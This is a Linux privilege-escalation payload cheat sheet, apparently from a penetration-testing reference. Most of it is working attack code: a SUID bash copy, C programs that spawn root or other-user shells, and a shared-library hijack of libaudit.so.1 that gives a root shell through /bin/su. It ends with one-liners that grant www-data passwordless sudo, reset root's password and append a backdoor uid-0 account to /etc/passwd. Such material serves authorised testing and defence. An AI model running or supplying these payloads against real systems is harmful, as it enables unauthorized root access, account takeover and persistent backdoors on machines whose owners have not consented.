Payloads to execute
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); #Set as user suid user
system("/bin/sh");
return 0;
}
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}
// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
- Add user with password to /etc/passwd
- Change password inside /etc/shadow
- Add user to sudoers in /etc/sudoers
- Abuse docker through the docker socket, usually in /run/docker.sock or /var/run/docker.sock
Check a library used by some binary, in this case
/bin/su:ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
In this case lets try to impersonate
/lib/x86_64-linux-gnu/libaudit.so.1.
So, check for functions of this library used by the su binary:objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
0000000000000000 DF *UND* 0000000000000000 audit_log_user_message
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
The symbols
audit_open, audit_log_acct_message, audit_log_acct_message and audit_fd are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c
int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;
void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
Now, just calling
/bin/su you will obtain a shell as root.Can you make root execute something?
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
echo "root:hacked" | chpasswd
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd